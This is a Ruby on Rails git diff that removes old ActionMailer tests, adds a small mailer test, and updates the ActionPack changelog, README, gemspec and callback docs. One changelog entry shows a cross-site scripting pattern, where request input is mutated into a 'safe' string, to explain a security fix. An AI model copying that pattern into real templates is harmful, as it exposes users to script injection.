-Content-Type: text/plain; charset=iso-8859-1 - -The body -EOF - mail = Mail.new(msg) - assert_equal "testing testing \326\244", mail.subject - assert_equal "Subject: =?UTF-8?Q?testing_testing_=D6=A4?=\r\n", mail[:subject].encoded - end - - def test_unquote_7bit_subject - msg = <<EOF -From: me@example.com -Subject: this == working? -Content-Type: text/plain; charset=iso-8859-1 - -The body -EOF - mail = Mail.new(msg) - assert_equal "this == working?", mail.subject - assert_equal "Subject: this == working?\r\n", mail[:subject].encoded - end - - def test_unquote_7bit_body - msg = <<EOF -From: me@example.com -Subject: subject -Content-Type: text/plain; charset=iso-8859-1 -Content-Transfer-Encoding: 7bit - -The=3Dbody -EOF - mail = Mail.new(msg) - assert_equal "The=3Dbody", mail.body.to_s.strip - assert_equal "The=3Dbody", mail.body.encoded.strip - end - - def test_unquote_quoted_printable_body - msg = <<EOF -From: me@example.com -Subject: subject -Content-Type: text/plain; charset=iso-8859-1 -Content-Transfer-Encoding: quoted-printable - -The=3Dbody -EOF - mail = Mail.new(msg) - assert_equal "The=body", mail.body.to_s.strip - assert_equal "The=3Dbody=", mail.body.encoded.strip - end - - def test_unquote_base64_body - msg = <<EOF -From: me@example.com -Subject: subject -Content-Type: text/plain; charset=iso-8859-1 -Content-Transfer-Encoding: base64 - -VGhlIGJvZHk= -EOF - mail = Mail.new(msg) - assert_equal "The body", mail.body.to_s.strip - assert_equal "VGhlIGJvZHk=", mail.body.encoded.strip - end - - def test_extended_headers - @recipient = "Grytøyr <test@localhost>" - - expected = new_mail "iso-8859-1" - expected.to = @recipient - expected.subject = "testing extended headers" - expected.body = "Nothing to see here." - expected.from = "Grytøyr <stian1@example.net>" - expected.cc = "Grytøyr <stian2@example.net>" - expected.bcc = "Grytøyr <stian3@example.net>" - expected.date = Time.local 2004, 12, 12 - - created = nil - assert_nothing_raised do - created = TestMailer.extended_headers @recipient - end - - assert_not_nil created - expected.message_id = '<123@456>' - created.message_id = '<123@456>' - - assert_equal expected.encoded, created.encoded - - assert_nothing_raised do - TestMailer.extended_headers(@recipient).deliver - end - - delivered = ActionMailer::Base.deliveries.first - assert_not_nil delivered - - expected.message_id = '<123@456>' - delivered.message_id = '<123@456>' - - assert_equal expected.encoded, delivered.encoded - end - - def test_utf8_body_is_not_quoted - @recipient = "Foo áëô îü <extended@example.net>" - expected = new_mail "UTF-8" - expected.to = @recipient - expected.subject = "testing UTF-8 body" - expected.body = "åœö blah" - expected.from = @recipient - expected.cc = @recipient - expected.bcc = @recipient - expected.date = Time.local 2004, 12, 12 - - created = TestMailer.utf8_body @recipient - assert_match(/åœö blah/, created.decoded) - end - - def test_multiple_utf8_recipients - @recipient = ["\"Foo áëô îü\" <extended@example.net>", "\"Example Recipient\" <me@example.com>"] - expected = new_mail "UTF-8" - expected.to = @recipient - expected.subject = "testing UTF-8 body" - expected.body = "åœö blah" - expected.from = @recipient.first - expected.cc = @recipient - expected.bcc = @recipient - expected.date = Time.local 2004, 12, 12 - - created = TestMailer.utf8_body @recipient - from_regexp = Regexp.escape('From: Foo =?UTF-8?B?w6HDq8O0?= =?UTF-8?B?IMOuw7w=?=') - assert_match(/#{from_regexp}/m, created.encoded) - - to_regexp = Regexp.escape("To: =?UTF-8?B?Rm9vIMOhw6vDtCDDrsO8?= <extended@example.net>") - assert_match(/#{to_regexp}/m, created.encoded) - end - - def test_receive_decodes_base64_encoded_mail - fixture = File.read(File.dirname(__FILE__) + "/../fixtures/raw_email") - TestMailer.receive(fixture) - assert_match(/Jamis/, TestMailer.received_body.to_s) - end - - def test_receive_attachments - fixture = File.read(File.dirname(__FILE__) + "/../fixtures/raw_email2") - mail = Mail.new(fixture) - attachment = mail.attachments.last - assert_equal "smime.p7s", attachment.filename - assert_equal "application/pkcs7-signature", mail.parts.last.mime_type - end - - def test_decode_attachment_without_charset - fixture = File.read(File.dirname(__FILE__) + "/../fixtures/raw_email3") - mail = Mail.new(fixture) - attachment = mail.attachments.last - assert_equal 1026, attachment.read.length - end - - def test_attachment_using_content_location - fixture = File.read(File.dirname(__FILE__) + "/../fixtures/raw_email12") - mail = Mail.new(fixture) - assert_equal 1, mail.attachments.length - assert_equal "Photo25.jpg", mail.attachments.first.filename - end - - def test_attachment_with_text_type - fixture = File.read(File.dirname(__FILE__) + "/../fixtures/raw_email13") - mail = Mail.new(fixture) - assert mail.has_attachments? - assert_equal 1, mail.attachments.length - assert_equal "hello.rb", mail.attachments.first.filename - end - - def test_decode_part_without_content_type - fixture = File.read(File.dirname(__FILE__) + "/../fixtures/raw_email4") - mail = Mail.new(fixture) - assert_nothing_raised { mail.body } - end - - def test_decode_message_without_content_type - fixture = File.read(File.dirname(__FILE__) + "/../fixtures/raw_email5") - mail = Mail.new(fixture) - assert_nothing_raised { mail.body } - end - - def test_decode_message_with_incorrect_charset - fixture = File.read(File.dirname(__FILE__) + "/../fixtures/raw_email6") - mail = Mail.new(fixture) - assert_nothing_raised { mail.body } - end - - def test_multipart_with_mime_version - mail = TestMailer.multipart_with_mime_version(@recipient) - assert_equal "1.1", mail.mime_version - end - - def test_multipart_with_utf8_subject - mail = TestMailer.multipart_with_utf8_subject(@recipient) - regex = Regexp.escape('Subject: =?UTF-8?Q?Foo_=C3=A1=C3=AB=C3=B4_=C3=AE=C3=BC?=') - assert_match(/#{regex}/, mail.encoded) - string = "Foo áëô îü" - assert_match(string, mail.subject) - end - - def test_implicitly_multipart_with_utf8 - mail = TestMailer.implicitly_multipart_with_utf8 - regex = Regexp.escape('Subject: =?UTF-8?Q?Foo_=C3=A1=C3=AB=C3=B4_=C3=AE=C3=BC?=') - assert_match(/#{regex}/, mail.encoded) - string = "Foo áëô îü" - assert_match(string, mail.subject) - end - - def test_explicitly_multipart_messages - mail = TestMailer.explicitly_multipart_example(@recipient) - assert_equal 3, mail.parts.length - assert_equal 'multipart/mixed', mail.mime_type - assert_equal "text/plain", mail.parts[0].mime_type - - assert_equal "text/html", mail.parts[1].mime_type - assert_equal "iso-8859-1", mail.parts[1].charset - - assert_equal "image/jpeg", mail.parts[2].mime_type - - assert_equal "attachment", mail.parts[2][:content_disposition].disposition_type - assert_equal "foo.jpg", mail.parts[2][:content_disposition].filename - assert_equal "foo.jpg", mail.parts[2][:content_type].filename - assert_nil mail.parts[2].charset - end - - def test_explicitly_multipart_with_content_type - mail = TestMailer.explicitly_multipart_example(@recipient, "multipart/alternative") - assert_equal 3, mail.parts.length - assert_equal "multipart/alternative", mail.mime_type - end - - def test_explicitly_multipart_with_invalid_content_type - mail = TestMailer.explicitly_multipart_example(@recipient, "text/xml") - assert_equal 3, mail.parts.length - assert_equal 'multipart/mixed', mail.mime_type - end - - def test_implicitly_multipart_messages - assert ActionView::Template.template_handler_extensions.include?("bak"), "bak extension was not registered" - - mail = TestMailer.implicitly_multipart_example(@recipient) - assert_equal 3, mail.parts.length - assert_equal "1.0", mail.mime_version.to_s - assert_equal "multipart/alternative", mail.mime_type - assert_equal "text/plain", mail.parts[0].mime_type - assert_equal "UTF-8", mail.parts[0].charset - assert_equal "text/html", mail.parts[1].mime_type - assert_equal "UTF-8", mail.parts[1].charset - assert_equal "application/x-yaml", mail.parts[2].mime_type - assert_equal "UTF-8", mail.parts[2].charset - end - - def test_implicitly_multipart_messages_with_custom_order - assert ActionView::Template.template_handler_extensions.include?("bak"), "bak extension was not registered" - - mail = TestMailer.implicitly_multipart_example(@recipient, nil, ["application/x-yaml", "text/plain"]) - assert_equal 3, mail.parts.length - assert_equal "application/x-yaml", mail.parts[0].mime_type - assert_equal "text/plain", mail.parts[1].mime_type - assert_equal "text/html", mail.parts[2].mime_type - end - - def test_implicitly_multipart_messages_with_charset - mail = TestMailer.implicitly_multipart_example(@recipient, 'iso-8859-1') - - assert_equal "multipart/alternative", mail.header['content-type'].content_type - - assert_equal 'iso-8859-1', mail.parts[0].content_type_parameters[:charset] - assert_equal 'iso-8859-1', mail.parts[1].content_type_parameters[:charset] - assert_equal 'iso-8859-1', mail.parts[2].content_type_parameters[:charset] - end - - def test_html_mail - mail = TestMailer.html_mail(@recipient) - assert_equal "text/html", mail.mime_type - end - - def test_html_mail_with_underscores - mail = TestMailer.html_mail_with_underscores(@recipient) - assert_equal %{<a href="http://google.com" target="_blank">_Google</a>}, mail.body.to_s - end - - def test_various_newlines - mail = TestMailer.various_newlines(@recipient) - assert_equal("line #1\nline #2\nline #3\nline #4\n\n" + - "line #5\n\nline#6\n\nline #7", mail.body.to_s) - end - - def test_various_newlines_multipart - mail = TestMailer.various_newlines_multipart(@recipient) - assert_equal "line #1\nline #2\nline #3\nline #4\n\n", mail.parts[0].body.to_s - assert_equal "<p>line #1</p>\n<p>line #2</p>\n<p>line #3</p>\n<p>line #4</p>\n\n", mail.parts[1].body.to_s - assert_equal "line #1\r\nline #2\r\nline #3\r\nline #4\r\n\r\n", mail.parts[0].body.encoded - assert_equal "<p>line #1</p>\r\n<p>line #2</p>\r\n<p>line #3</p>\r\n<p>line #4</p>\r\n\r\n", mail.parts[1].body.encoded - end - - def test_headers_removed_on_smtp_delivery - TestMailer.delivery_method = :smtp - TestMailer.cc_bcc(@recipient).deliver - assert MockSMTP.deliveries[0][2].include?("root@loudthinking.com") - assert MockSMTP.deliveries[0][2].include?("nobody@loudthinking.com") - assert MockSMTP.deliveries[0][2].include?(@recipient) - assert_match %r{^Cc: nobody@loudthinking.com}, MockSMTP.deliveries[0][0] - assert_match %r{^To: #{@recipient}}, MockSMTP.deliveries[0][0] - assert_no_match %r{^Bcc: root@loudthinking.com}, MockSMTP.deliveries[0][0] - end - - def test_file_delivery_should_create_a_file - TestMailer.delivery_method = :file - tmp_location = TestMailer.file_settings[:location] - - result = TestMailer.cc_bcc(@recipient).deliver - assert File.exists?(tmp_location) - assert File.directory?(tmp_location) - assert File.exists?(File.join(tmp_location, @recipient)) - assert File.exists?(File.join(tmp_location, 'nobody@loudthinking.com')) - assert File.exists?(File.join(tmp_location, 'root@loudthinking.com')) - end - - def test_recursive_multipart_processing - fixture = File.read(File.dirname(__FILE__) + "/../fixtures/raw_email7") - mail = Mail.new(fixture) - assert_equal(2, mail.parts.length) - assert_equal(4, mail.parts.first.parts.length) - assert_equal("This is the first part.", mail.parts.first.parts.first.body.to_s) - assert_equal("test.rb", mail.parts.first.parts.second.filename) - assert_equal("flowed", mail.parts.first.parts.fourth.content_type_parameters[:format]) - assert_equal('smime.p7s', mail.parts.second.filename) - end - - def test_decode_encoded_attachment_filename - fixture = File.read(File.dirname(__FILE__) + "/../fixtures/raw_email8") - mail = Mail.new(fixture) - attachment = mail.attachments.last - - expected = "01 Quien Te Dij\212at. Pitbull.mp3" - - if expected.respond_to?(:force_encoding) - result = attachment.filename.dup - expected.force_encoding(Encoding::ASCII_8BIT) - result.force_encoding(Encoding::ASCII_8BIT) - assert_equal expected, result - else - assert_equal expected, attachment.filename - end - end - - def test_decode_message_with_unknown_charset - fixture = File.read(File.dirname(__FILE__) + "/../fixtures/raw_email10") - mail = Mail.new(fixture) - assert_nothing_raised { mail.body } - end - - def test_empty_header_values_omitted - result = TestMailer.unnamed_attachment(@recipient).encoded - assert_match %r{Content-Type: application/octet-stream}, result - assert_match %r{Content-Disposition: attachment}, result - end - - def test_headers_with_nonalpha_chars - mail = TestMailer.headers_with_nonalpha_chars(@recipient) - assert !mail.from_addrs.empty? - assert !mail.cc_addrs.empty? - assert !mail.bcc_addrs.empty? - assert_match(/:/, mail[:from].decoded) - assert_match(/:/, mail[:cc].decoded) - assert_match(/:/, mail[:bcc].decoded) - end - - def test_with_mail_object_deliver - TestMailer.delivery_method = :test - mail = TestMailer.headers_with_nonalpha_chars(@recipient) - assert_nothing_raised { mail.deliver } - assert_equal 1, TestMailer.deliveries.length - end - - def test_multipart_with_template_path_with_dots - mail = FunkyPathMailer.multipart_with_template_path_with_dots(@recipient) - assert_equal 2, mail.parts.length - assert_equal "text/plain", mail.parts[0].mime_type - assert_equal "text/html", mail.parts[1].mime_type - assert_equal "UTF-8", mail.parts[1].charset - end - - def test_custom_content_type_attributes - mail = TestMailer.custom_content_type_attributes - assert_match %r{format=flowed}, mail.content_type - assert_match %r{charset=UTF-8}, mail.content_type - end - - def test_return_path_with_create - mail = TestMailer.return_path - assert_equal "another@somewhere.test", mail.return_path - end - - def test_return_path_with_deliver - TestMailer.delivery_method = :smtp - TestMailer.return_path.deliver - assert_match %r{^Return-Path: <another@somewhere.test>}, MockSMTP.deliveries[0][0] - assert_equal "another@somewhere.test", MockSMTP.deliveries[0][1].to_s - end - - def test_starttls_is_enabled_if_supported - TestMailer.smtp_settings.merge!(:enable_starttls_auto => true) - MockSMTP.any_instance.expects(:respond_to?).with(:enable_starttls_auto).returns(true) - MockSMTP.any_instance.expects(:enable_starttls_auto) - TestMailer.delivery_method = :smtp - TestMailer.signed_up(@recipient).deliver - end - - def test_starttls_is_disabled_if_not_supported - TestMailer.smtp_settings.merge!(:enable_starttls_auto => true) - MockSMTP.any_instance.expects(:respond_to?).with(:enable_starttls_auto).returns(false) - MockSMTP.any_instance.expects(:enable_starttls_auto).never - TestMailer.delivery_method = :smtp - TestMailer.signed_up(@recipient).deliver - end - - def test_starttls_is_not_enabled - TestMailer.smtp_settings.merge!(:enable_starttls_auto => false) - MockSMTP.any_instance.expects(:respond_to?).never - TestMailer.delivery_method = :smtp - TestMailer.signed_up(@recipient).deliver - ensure - TestMailer.smtp_settings.merge!(:enable_starttls_auto => true) - end -end diff --git a/actionmailer/test/old_base/tmail_compat_test.rb b/actionmailer/test/old_base/tmail_compat_test.rb deleted file mode 100644 index 51558c2bfa..0000000000 --- a/actionmailer/test/old_base/tmail_compat_test.rb +++ /dev/null @@ -1,42 +0,0 @@ -require 'abstract_unit' - -class TmailCompatTest < ActiveSupport::TestCase - def setup - @silence = ActiveSupport::Deprecation.silenced - ActiveSupport::Deprecation.silenced = false - end - - def teardown - ActiveSupport::Deprecation.silenced = @silence - end - - def test_set_content_type_raises_deprecation_warning - mail = Mail.new - assert_deprecated do - assert_nothing_raised do - mail.set_content_type "text/plain" - end - end - assert_equal mail.mime_type, "text/plain" - end - - def test_transfer_encoding_raises_deprecation_warning - mail = Mail.new - assert_deprecated do - assert_nothing_raised do - mail.transfer_encoding "base64" - end - end - assert_equal mail.content_transfer_encoding, "base64" - end - - def test_transfer_encoding_setter_raises_deprecation_warning - mail = Mail.new - assert_deprecated do - assert_nothing_raised do - mail.transfer_encoding = "base64" - end - end - assert_equal mail.content_transfer_encoding, "base64" - end -end diff --git a/actionmailer/test/test_test.rb b/actionmailer/test/test_test.rb new file mode 100644 index 0000000000..86fd37bea6 --- /dev/null +++ b/actionmailer/test/test_test.rb @@ -0,0 +1,28 @@ +require 'abstract_unit' + +class TestTestMailer < ActionMailer::Base +end + +class CrazyNameMailerTest < ActionMailer::TestCase + tests TestTestMailer + + def test_set_mailer_class_manual + assert_equal TestTestMailer, self.class.mailer_class + end +end + +class CrazySymbolNameMailerTest < ActionMailer::TestCase + tests :test_test_mailer + + def test_set_mailer_class_manual_using_symbol + assert_equal TestTestMailer, self.class.mailer_class + end +end + +class CrazyStringNameMailerTest < ActionMailer::TestCase + tests 'test_test_mailer' + + def test_set_mailer_class_manual_using_string + assert_equal TestTestMailer, self.class.mailer_class + end +end diff --git a/actionpack/CHANGELOG b/actionpack/CHANGELOG index 15abfb8369..a7a47bf930 100644 --- a/actionpack/CHANGELOG +++ b/actionpack/CHANGELOG @@ -1,4 +1,175 @@ -*Rails 3.1.0 (unreleased)* +*Rails 3.2.0 (unreleased)* + +* Responders now return 204 No Content for API requests without a response body (as in the new scaffold) [José Valim] + +* Added ActionDispatch::RequestId middleware that'll make a unique X-Request-Id header available to the response and enables the ActionDispatch::Request#uuid method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog [DHH] + +* Limit the number of options for select_year to 1000. + + Pass the :max_years_allowed option to set your own limit. + + [Libo Cannici] + +* Passing formats or handlers to render :template and friends is deprecated. For example: [Nick Sutterer & José Valim] + + render :template => "foo.html.erb" + + Instead, you can provide :handlers and :formats directly as option: + + render :template => "foo", :formats => [:html, :js], :handlers => :erb + +* Changed log level of warning for missing CSRF token from :debug to :warn. [Mike Dillon] + +* content_tag_for and div_for can now take the collection of records. It will also yield the record as the first argument if you set a receiving argument in your block [Prem Sichanugrist] + + So instead of having to do this: + + @items.each do |item| + content_tag_for(:li, item) do + Title: <%= item.title %> + end + end + + You can now do this: + + content_tag_for(:li, @items) do |item| + Title: <%= item.title %> + end + +* send_file now guess the mime type [Esad Hajdarevic] + +* Mime type entries for PDF, ZIP and other formats were added [Esad Hajdarevic] + +* Generate hidden input before select with :multiple option set to true. + This is useful when you rely on the fact that when no options is set, + the state of select will be sent to rails application. Without hidden field + nothing is sent according to HTML spec [Bogdan Gusiev] + +* Refactor ActionController::TestCase cookies [Andrew White] + + Assigning cookies for test cases should now use cookies[], e.g: + + cookies[:email] = 'user@example.com' + get :index + assert_equal 'user@example.com', cookies[:email] + + To clear the cookies, use clear, e.g: + + cookies.clear + get :index + assert_nil cookies[:email] + + We now no longer write out HTTP_COOKIE and the cookie jar is + persistent between requests so if you need to manipulate the environment + for your test you need to do it before the cookie jar is created. + + +*Rails 3.1.1 (unreleased)* + +* javascript_path and stylesheet_path now refer to /assets if asset pipelining +is on. [Santiago Pastorino] + +* button_to support form option. Now you're able to pass for example +'data-type' => 'json'. [ihower] + +* image_path and image_tag should use /assets if asset pipelining is turned +on. Closes #3126 [Santiago Pastorino and christos] + +* Avoid use of existing precompiled assets during rake assets:precompile run. +Closes #3119 [Guillermo Iguaran] + +* Copy assets to nondigested filenames too [Santiago Pastorino] + +* Give precedence to `config.digest = false` over the existence of +manifest.yml asset digests [christos] + +* escape options for the stylesheet_link_tag method [Alexey Vakhov] + +* Re-launch assets:precompile task using (Rake.)ruby instead of Kernel.exec so +it works on Windows [cablegram] + +* env var passed to process shouldn't be modified in process method. [Santiago +Pastorino] + +* `rake assets:precompile` loads the application but does not initialize +it. + + To the app developer, this means configuration add in + config/initializers/* will not be executed. + + Plugins developers need to special case their initializers that are + meant to be run in the assets group by adding :group => :assets. [José Valim] + +* Sprockets uses config.assets.prefix for asset_path [asee] + +* FileStore key_file_path properly limit filenames to 255 characters. [phuibonhoa] + +* Fix Hash#to_query edge case with html_safe strings. [brainopia] + +* Allow asset tag helper methods to accept :digest => false option in order to completely avoid the digest generation. +Useful for linking assets from static html files or from emails when the user +could probably look at an older html email with an older asset. [Santiago Pastorino] + +* Don't mount Sprockets server at config.assets.prefix if config.assets.compile is false. [Mark J. Titorenko] + +* Set relative url root in assets when controller isn't available for Sprockets (eg. Sass files using asset_path). Fixes #2435 [Guillermo Iguaran] + +* Fix basic auth credential generation to not make newlines. GH #2882 + +* Fixed the behavior of asset pipeline when config.assets.digest and config.assets.compile are false and requested asset isn't precompiled. + Before the requested asset were compiled anyway ignoring that the config.assets.compile flag is false. [Guillermo Iguaran] + +* CookieJar is now Enumerable. Fixes #2795 + +* Fixed AssetNotPrecompiled error raised when rake assets:precompile is compiling certain .erb files. See GH #2763 #2765 #2805 [Guillermo Iguaran] + +* Manifest is correctly placed in assets path when default assets prefix is changed. Fixes #2776 [Guillermo Iguaran] + +* Fixed stylesheet_link_tag and javascript_include_tag to respect additional options passed by the users when debug is on. [Guillermo Iguaran] + + +*Rails 3.1.0 (August 30, 2011)* + +* Param values are `paramified` in controller tests. [David Chelimsky] + +* x_sendfile_header now defaults to nil and config/environments/production.rb doesn't set a particular value for it. This allows servers to set it through X-Sendfile-Type. [Santiago Pastorino] + +* The submit form helper does not generate an id "object_name_id" anymore. [fbrusatti] + +* Make sure respond_with with :js tries to render a template in all cases [José Valim] + +* json_escape will now return a SafeBuffer string if it receives SafeBuffer string [tenderlove] + +* Make sure escape_js returns SafeBuffer string if it receives SafeBuffer string [Prem Sichanugrist] + +* Fix escape_js to work correctly with the new SafeBuffer restriction [Paul Gallagher] + +* Brought back alternative convention for namespaced models in i18n [thoefer] + + Now the key can be either "namespace.model" or "namespace/model" until further deprecation. + +* It is prohibited to perform a in-place SafeBuffer mutation [tenderlove] + + The old behavior of SafeBuffer allowed you to mutate string in place via + method like `sub!`. These methods can add unsafe strings to a safe buffer, + and the safe buffer will continue to be marked as safe. + + An example problem would be something like this: + + <%= link_to('hello world', @user).sub!(/hello/, params[:xss]) %> + + In the above example, an untrusted string (`params[:xss]`) is added to the + safe buffer returned by `link_to`, and the untrusted content is successfully + sent to the client without being escaped. To prevent this from happening + `sub!` and other similar methods will now raise an exception when they are called on a safe buffer. + + In addition to the in-place versions, some of the versions of these methods which return a copy of the string will incorrectly mark strings as safe. For example: + + <%= link_to('hello world', @user).sub(/hello/, params[:xss]) %> + + The new versions will now ensure that *all* strings returned by these methods on safe buffers are marked unsafe. + + You can read more about this change in http://groups.google.com/group/rubyonrails-security/browse_thread/thread/2e516e7acc96c4fb * Warn if we cannot verify CSRF token authenticity [José Valim] @@ -36,11 +207,11 @@ For example if you have this route: - map '*pages' => 'pages#show' + match '*pages' => 'pages#show' by requesting '/foo/bar.json', your `params[:pages]` will be equals to "foo/bar" with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `:format => false` like this: - map '*pages' => 'pages#show', :format => false + match '*pages' => 'pages#show', :format => false * Added Base.http_basic_authenticate_with to do simple http basic authentication with a single class method call [DHH] @@ -2203,7 +2374,7 @@ superclass' view_paths. [Rick Olson] * Update documentation for erb trim syntax. #5651 [matt@mattmargolis.net] -* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 [olivier_ansaldi@yahoo.com, sebastien@goetzilla.info] +* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 [olivier_ansaldi@yahoo.com] * Reset @html_document between requests so assert_tag works. #4810 [Jarkko Laine, easleydp@gmail.com] @@ -2800,7 +2971,7 @@ superclass' view_paths. [Rick Olson] * Provide support for decimal columns to form helpers. Closes #5672. [Dave Thomas] -* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 [olivier_ansaldi@yahoo.com, sebastien@goetzilla.info] +* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 [olivier_ansaldi@yahoo.com] * Reset @html_document between requests so assert_tag works. #4810 [Jarkko Laine, easleydp@gmail.com] diff --git a/actionpack/README.rdoc b/actionpack/README.rdoc index 5919b5c6d4..95301c21ee 100644 --- a/actionpack/README.rdoc +++ b/actionpack/README.rdoc @@ -283,7 +283,7 @@ methods: The last two lines are responsible for telling ActionController where the template files are located and actually running the controller on a new -request from the web-server (like to be Apache). +request from the web-server (e.g., Apache). And the templates look like this: @@ -316,13 +316,13 @@ an URL such as /weblog/5 (where 5 is the id of the post). == Download and installation -The latest version of Action Pack can be installed with Rubygems: +The latest version of Action Pack can be installed with RubyGems: % [sudo] gem install actionpack Source code can be downloaded as part of the Rails project on GitHub -* https://github.com/rails/rails/tree/master/actionpack/ +* https://github.com/rails/rails/tree/master/actionpack == License @@ -334,7 +334,7 @@ Action Pack is released under the MIT license. API documentation is at -* http://api.rubyonrails.com +* http://api.rubyonrails.org Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here: diff --git a/actionpack/RUNNING_UNIT_TESTS b/actionpack/RUNNING_UNIT_TESTS index 1e3ba7abe7..1b29abd2d1 100644 --- a/actionpack/RUNNING_UNIT_TESTS +++ b/actionpack/RUNNING_UNIT_TESTS @@ -18,7 +18,7 @@ which can be further narrowed down to one test: == Dependency on Active Record and database setup -Test cases in the test/controller/active_record/ directory depend on having +Test cases in the test/active_record/ directory depend on having activerecord and sqlite installed. If Active Record is not in actionpack/../activerecord directory, or the sqlite rubygem is not installed, these tests are skipped. diff --git a/actionpack/Rakefile b/actionpack/Rakefile index 9030db9f7a..d9e3e56fcc 100755 --- a/actionpack/Rakefile +++ b/actionpack/Rakefile @@ -1,7 +1,7 @@ #!/usr/bin/env rake require 'rake/testtask' require 'rake/packagetask' -require 'rake/gempackagetask' +require 'rubygems/package_task' desc "Default Task" task :default => :test @@ -26,6 +26,11 @@ namespace :test do Rake::TestTask.new(:isolated) do |t| t.pattern = 'test/ts_isolated.rb' end + + Rake::TestTask.new(:template) do |t| + t.libs << 'test' + t.pattern = 'test/template/**/*.rb' + end end desc 'ActiveRecord Integration Tests' @@ -36,7 +41,7 @@ end spec = eval(File.read('actionpack.gemspec')) -Rake::GemPackageTask.new(spec) do |p| +Gem::PackageTask.new(spec) do |p| p.gem_spec = spec end diff --git a/actionpack/actionpack.gemspec b/actionpack/actionpack.gemspec index 0b4e7027ed..c2eac234b0 100644 --- a/actionpack/actionpack.gemspec +++ b/actionpack/actionpack.gemspec @@ -11,21 +11,21 @@ Gem::Specification.new do |s| s.author = 'David Heinemeier Hansson' s.email = 'david@loudthinking.com' s.homepage = 'http://www.rubyonrails.org' - s.rubyforge_project = 'actionpack' s.files = Dir['CHANGELOG', 'README.rdoc', 'MIT-LICENSE', 'lib/**/*'] s.require_path = 'lib' s.requirements << 'none' - s.add_dependency('activesupport', version) - s.add_dependency('activemodel', version) - s.add_dependency('rack-cache', '~> 1.0.1') - s.add_dependency('builder', '~> 3.0.0') - s.add_dependency('i18n', '~> 0.6.0beta1') - s.add_dependency('rack', '~> 1.3.0.beta') - s.add_dependency('rack-test', '~> 0.6.0') - s.add_dependency('rack-mount', '~> 0.8.1') - s.add_dependency('sprockets', '~> 2.0.0.beta.3') - s.add_dependency('tzinfo', '~> 0.3.27') - s.add_dependency('erubis', '~> 2.7.0') + s.add_dependency('activesupport', version) + s.add_dependency('activemodel', version) + s.add_dependency('rack-cache', '~> 1.1') + s.add_dependency('builder', '~> 3.0.0') + s.add_dependency('i18n', '~> 0.6') + s.add_dependency('rack', '~> 1.3.5') + s.add_dependency('rack-test', '~> 0.6.1') + s.add_dependency('journey', '~> 1.0.0') + s.add_dependency('sprockets', '~> 2.0.3') + s.add_dependency('erubis', '~> 2.7.0') + + s.add_development_dependency('tzinfo', '~> 0.3.29') end diff --git a/actionpack/lib/abstract_controller/asset_paths.rb b/actionpack/lib/abstract_controller/asset_paths.rb index ad14cd6d87..c2a6809f58 100644 --- a/actionpack/lib/abstract_controller/asset_paths.rb +++ b/actionpack/lib/abstract_controller/asset_paths.rb @@ -3,7 +3,8 @@ module AbstractController extend ActiveSupport::Concern included do - config_accessor :asset_host, :asset_path, :assets_dir, :javascripts_dir, :stylesheets_dir, :use_sprockets + config_accessor :asset_host, :asset_path, :assets_dir, :javascripts_dir, + :stylesheets_dir, :default_asset_host_protocol end end end diff --git a/actionpack/lib/abstract_controller/base.rb b/actionpack/lib/abstract_controller/base.rb index f67d0e558e..fd6a46fbec 100644 --- a/actionpack/lib/abstract_controller/base.rb +++ b/actionpack/lib/abstract_controller/base.rb @@ -10,7 +10,7 @@ module AbstractController # <tt>AbstractController::Base</tt> is a low-level API. Nobody should be # using it directly, and subclasses (like ActionController::Base) are # expected to provide their own +render+ method, since rendering means - # different things depending on the context. + # different things depending on the context. class Base attr_internal :response_body attr_internal :action_name diff --git a/actionpack/lib/abstract_controller/callbacks.rb b/actionpack/lib/abstract_controller/callbacks.rb index e8426bc52b..7004e607a1 100644 --- a/actionpack/lib/abstract_controller/callbacks.rb +++ b/actionpack/lib/abstract_controller/callbacks.rb @@ -75,38 +75,122 @@ module AbstractController end end + ## + # :method: before_filter + # + # :call-seq: before_filter(names, block) + # + # Append a before filter. See _insert_callbacks for parameter details. + + ## + # :method: prepend_before_filter + # + # :call-seq: prepend_before_filter(names, block) + # + # Prepend a before filter. See _insert_callbacks for parameter details. + + ## + # :method: skip_before_filter + # + # :call-seq: skip_before_filter(names, block) + # + # Skip a before filter. See _insert_callbacks for parameter details. + + ## + # :method: append_before_filter + # + # :call-seq: append_before_filter(names, block) + # + # Append a before filter. See _insert_callbacks for parameter details. + + ## + # :method: after_filter + # + # :call-seq: after_filter(names, block) + # + # Append an after filter. See _insert_callbacks for parameter details. + + ## + # :method: prepend_after_filter + # + # :call-seq: prepend_after_filter(names, block) + # + # Prepend an after filter. See _insert_callbacks for parameter details. + + ## + # :method: skip_after_filter + # + # :call-seq: skip_after_filter(names, block) + # + # Skip an after filter. See _insert_callbacks for parameter details. + + ## + # :method: append_after_filter + # + # :call-seq: append_after_filter(names, block) + # + # Append an after filter. See _insert_callbacks for parameter details. + + ## + # :method: around_filter + # + # :call-seq: around_filter(names, block) + # + # Append an around filter. See _insert_callbacks for parameter details. + + ## + # :method: prepend_around_filter + # + # :call-seq: prepend_around_filter(names, block) + # + # Prepend an around filter. See _insert_callbacks for parameter details. + + ## + # :method: skip_around_filter + # + # :call-seq: skip_around_filter(names, block) + # + # Skip an around filter. See _insert_callbacks for parameter details. + + ## + # :method: append_around_filter + # + # :call-seq: append_around_filter(names, block) + # + # Append an around filter. See _insert_callbacks for parameter details. + # set up before_filter, prepend_before_filter, skip_before_filter, etc. # for each of before, after, and around. [:before, :after, :around].each do |filter| class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1 # Append a before, after or around filter. See _insert_callbacks # for details on the allowed parameters. - def #{filter}_filter(*names, &blk) - _insert_callbacks(names, blk) do |name, options| - options[:if] = (Array.wrap(options[:if]) << "!halted") if #{filter == :after} - set_callback(:process_action, :#{filter}, name, options) - end - end + def #{filter}_filter(*names, &blk) # def before_filter(*names, &blk) + _insert_callbacks(names, blk) do |name, options| # _insert_callbacks(names, blk) do |name, options| + options[:if] = (Array.wrap(options[:if]) << "!halted") if #{filter == :after} # options[:if] = (Array.wrap(options[:if]) << "!halted") if false + set_callback(:process_action, :#{filter}, name, options) # set_callback(:process_action, :before, name, options) + end # end + end # end # Prepend a before, after or around filter. See _insert_callbacks # for details on the allowed parameters. - def prepend_#{filter}_filter(*names, &blk) - 